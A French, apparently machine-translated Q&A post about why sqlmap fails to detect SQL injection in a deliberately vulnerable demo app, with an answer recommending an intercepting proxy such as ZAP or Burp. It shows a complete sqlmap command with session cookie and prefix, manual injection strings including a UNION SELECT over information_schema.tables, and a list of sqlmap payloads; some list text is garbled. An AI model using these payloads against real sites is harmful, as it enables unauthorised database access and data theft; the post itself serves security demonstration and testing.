J'ai construit une application Web vulnérable pour démontrer l'injection SQL. Je veux montrer à la fois une injection manuelle et une injection automatisée. L'injection nécessite un) l'utilisateur d'être connecté (cookie de session), b) un certificat SSL utilisateur et c) un préfixe.
Ma commande est:
python ./sqlmap.py --auth-file ~/welcomecert.p12 -u "http://komodobank.com/index.php?profile=adminsnowball" -p profile --cookie="PHPSESSID=sp1222aplv64fok7pa7voe447" --prefix="adminsnowball'" -v 3 --dbms mysql --level 5 --risk 3 --union-cols 10-16
Je peux voir que SQLMAP fonctionne, mais il ne trouve jamais que le champ est injectable.
Une injection manuelle comme celle-ci fonctionne:
http://vulnapp.com/index.php?profile=admin' or '1'='1
Des choses qui pourraient causer l'échec de SQLMAP:
UNION
_ ne teste pas assez de champs éventuellementAND 3347=7762
et pas AND '3347'='7762
AND
et pas OR
(je ne peux pas voir OR
s testé)GET
est ensuite transmise à JS que AJAX est pour les données du serveur. La réponse est peut-être perdue à SQLMAP?Vous trouverez ci-dessous une partie des requêtes pouvant le voir tester, mais apparemment, ils échouent tous.
[PAYLOAD] admin' AND 3115=1602 AND (3320=3320
[PAYLOAD] admin' AND 5213=5213 AND (8263=8263
[PAYLOAD] admin' AND 3347=7762
[PAYLOAD] admin' AND 5213=5213
[PAYLOAD] admin' ORDER BY 1--
[PAYLOAD] admin' ORDER BY 3421--
[PAYLOAD] admin' UNION ALL SELECT NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL--
[PAYLOAD] admin' UNION ALL SELECT NULL,NULL,NULL,NULL--
EDIT: Cette requête fonctionne également manuellement:
' union select table_name,2,3,4,5,6,7,8,9,10,11,12 from information_schema.tables where 'x'='x
Cependant, SQLMAP ne semble pas tester les syndicats comme ça.
Bien qu'il soit impossible de dire exactement pourquoi SQLMAP échoue sans avoir accès à l'application de test, vous pouvez envisager d'utiliser un proxy intercepté pour examiner les demandes/réponses de l'application. voir où son échec. En utilisant un proxy comme Owasp zap ou Burp Vous pouvez regarder les requêtes envoyées par SQLMAP et avoir une idée de la raison pour laquelle ils risquent d'échouer.